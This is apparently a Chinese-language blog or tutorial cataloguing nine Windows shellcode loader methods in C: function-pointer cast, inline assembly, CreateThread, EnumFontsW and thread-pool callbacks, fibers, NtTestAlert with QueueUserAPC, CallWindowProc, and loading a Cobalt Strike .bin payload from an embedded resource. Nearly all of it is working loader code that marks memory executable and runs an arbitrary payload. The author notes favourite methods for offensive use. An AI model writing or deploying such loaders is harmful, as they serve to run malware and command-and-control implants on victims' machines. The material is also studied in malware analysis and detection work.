shellcode加载方式

1.指针加载

((void(*)())p)();

void* p ((void(*)())p)()

1. p首先是一个指针，
2. void(*)() 是一个函数指针类型：它告诉编译器，我们有一个函数指针，指向一个不返回任何值（void）的函数。这个函数指针类型的声明与你要调用的函数的签名匹配。
3. (void(*)())p 这一部分将指针 p 从它原来的类型（可能是其他函数指针类型或空指针类型）转换为一个无返回值的函数指针类型。这种类型转换是为了确保 p 能够正确地被调用，因为在C语言中，函数指针的类型非常重要
4. ((void(*)())p)():执行

2.汇编执行

#include <stdio.h>
#include <windows.h>
 
// .data段(数据段，存储静态变量和全局变量)改为可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
 
unsigned char buf[] = "shellcode"; // 要为全局变量
 
int main() {
    __asm {
        lea eax, buf // 这里查看反汇编是lea eax,[buf地址]
        call eax
    }
    return 0;
}

注：lea是“Load Effective Address ”的缩写 --加载有效地址

3.创建线程执行

#include <stdio.h>
#include <windows.h>
 
int main() {
    unsigned char buf[] = "shellcode";
 
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // CopyMemory是Windows API
    CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); 
   
    WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕，不等待可能执行不到
    return 0;
}

4.回调函数执行

#include <stdio.h>
#include <Windows.h>
 
int main() {
    unsigned char buf[] = "shellcode";
 
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof(buf));
    
    /*
    * EnumFontsW是Windows API，用于枚举系统中所有可用字体
    * 参数1：设备环境句柄，表示要枚举哪个设备的字体
    * 参数2：NULL表示枚举所有字体
    * 参数3：回调函数指针，用于处理每个枚举到的字体信息
    * 参数4：回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回调函数
    return 0;
}    

5.线程池等待对象回调函数执行--我最喜欢用的方式

#include <stdio.h>
#include <Windows.h>
 
int main() {
    unsigned char buf[] = "shellcode";
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行

    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
  
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
    
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号)，事件对象执行会执行回调函数buf
    return 0;
}

6.创建纤程（Fiber）执行

纤程是比线程更小的执行单位

#include <stdio.h>
#include <Windows.h>
 
int main() {
    unsigned char buf[] = "shellcode";
 
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
 
    ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
    
    void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
    SwitchToFiber(shellcodeFiber); // 切换纤程，执行函数
    DeleteFiber(shellcodeFiber); // 删除纤程对象
    return 0;
}

7.NtTestAlert+APC执行

#include <stdio.h>
#include <Windows.h>
 
// 定义的一个函数指针类型pNtTestAlert，函数使用__stdcall调用约定(用于大多数Win32 API函数)，函数返回DWORD类型
typedef DWORD(WINAPI* pNtTestAlert)();
 
int main() {
    unsigned char buf[] = "shellcode";
 
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
 
    /*
    * GetModuleHandleA用于获取DLL的句柄
    * GetProcAddress用于获取函数地址
    * NtTestAlert函数是内部函数，无法直接通过函数名调用
    */
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    /*
    * QueueUserAPC是Windows API，用于将APC函数插入到指定线程的APC队列中
    * 参数1：APC函数指针
    * 参数2：指定线程句柄
    * 参数3：APC函数参数
    * GetCurrentThread是Windows API，返回当前执行的线程的句柄
    */
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
    NtTestAlert(); // 该函数会检查当前线程的APC队列是否有待执行的异步过程调用，如果有就会立刻执行
    return 0;
}

这也是一个优质的执行方法，值得深入研究一下

8.从资源文件加载

源文件->添加->资源->导入->CS生成的.bin文件->资源类型(xxx)

在resource.h查看资源ID(#define IDR_XXX1)

#include <stdio.h>
#include <windows.h>
#include "resource.h" // 将资源文件 resource.h 中定义的资源包含到当前文件
 
int main() {
    /*
    * FindResource是windows API，用于在资源表中查找指定名称和类型的资源
    * 参数1：模块句柄，表示要在哪个模块中查找资源，NULL表示在当前模块中查找
    * 参数2：查找资源的名称或ID，如果是用ID，则需要使用宏 MAKEINTRESOURCE 将ID转换为字符串类型
    * 参数3：资源类型名称
    */
    HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
    DWORD Size = SizeofResource(NULL, Res); // Windows API，用于获取资源大小
    HGLOBAL Load = LoadResource(NULL, Res); // Windows API，用于加载资源
 
    void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, Load, Size);
 
    ((void(*)())p)();
    return 0;
}

9.窗口函数执行

CallWindowProc((WNDPROC)(char*)arr, (HWND)0, 0, 0, 0);